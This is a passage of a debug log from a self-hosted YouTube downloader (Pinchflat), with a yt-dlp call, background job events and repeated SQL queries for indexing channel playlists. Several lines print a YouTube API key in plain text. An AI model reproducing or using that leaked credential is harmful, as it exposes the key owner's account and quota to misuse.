s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:39.697 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0d/b1/0db11f34d4c7198ad1b2d9cbe47c6a71fde727e18f37a5cbde874aebdabdbd96.json --sleep-requests 87 --sleep-interval 70 --sleep-subtitles 79 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:24:44.566 [info] {"source":"oban","duration":10082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:24:56.459 [info] {"args":{"id":17},"id":5268175,"meta":{},"system_time":1791581096459297169,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:56.459 [debug] QUERY OK source="sources" db=0.1ms idle=765.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:24:56.459 [debug] QUERY OK source="settings" db=0.0ms idle=765.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.460 [debug] QUERY OK source="media_profiles" db=0.1ms idle=765.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:56.460 [debug] QUERY OK source="settings" db=0.5ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.460 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:24:56.460 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.460 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:56.652 [debug] QUERY OK source="media_items" db=0.4ms idle=192.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:24:56.653 [debug] QUERY OK source="media_items" db=0.1ms idle=193.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:24:56.653 [debug] QUERY OK source="tasks" db=0.1ms idle=192.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268214, 17, ~U[2026-10-09 21:24:56Z], ~U[2026-10-09 21:24:56Z]] 16:24:56.654 [info] {"args":{"id":17},"id":5268175,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194568,"event":"job:stop","queue_time":781242,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:56.660 [info] {"args":{"id":9},"id":5268176,"meta":{},"system_time":1791581096660186115,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:56.660 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:24:56.660 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.660 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:56.660 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.660 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:24:56.660 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:56.661 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:57.009 [debug] QUERY OK source="media_items" db=0.8ms idle=348.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 16:24:57.011 [debug] QUERY OK source="media_items" db=0.7ms idle=349.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:24:57.012 [debug] QUERY OK source="tasks" db=0.1ms idle=350.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268215, 9, ~U[2026-10-09 21:24:57Z], ~U[2026-10-09 21:24:57Z]] 16:24:57.012 [info] {"args":{"id":9},"id":5268176,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":351911,"event":"job:stop","queue_time":798542,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:57.460 [info] {"args":{"id":11},"id":5268177,"meta":{},"system_time":1791581097460206961,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:57.460 [debug] QUERY OK source="sources" db=0.1ms idle=448.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:24:57.460 [debug] QUERY OK source="settings" db=0.0ms idle=448.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.460 [debug] QUERY OK source="media_profiles" db=0.1ms idle=442.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:57.461 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.461 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:24:57.461 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.461 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:57.597 [debug] QUERY OK source="media_items" db=0.8ms idle=135.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 16:24:57.599 [debug] QUERY OK source="media_items" db=1.3ms idle=137.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:24:57.600 [debug] QUERY OK source="tasks" db=0.2ms idle=138.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268216, 11, ~U[2026-10-09 21:24:57Z], ~U[2026-10-09 21:24:57Z]] 16:24:57.600 [info] {"args":{"id":11},"id":5268177,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":140104,"event":"job:stop","queue_time":676690,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:57.606 [info] {"args":{"id":26},"id":5268178,"meta":{},"system_time":1791581097606184911,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:57.606 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:24:57.606 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.606 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:57.606 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.606 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:24:57.607 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:57.607 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:57.880 [debug] QUERY OK source="media_items" db=0.7ms idle=273.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 16:24:57.882 [debug] QUERY OK source="media_items" db=0.7ms idle=274.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:24:57.883 [debug] QUERY OK source="tasks" 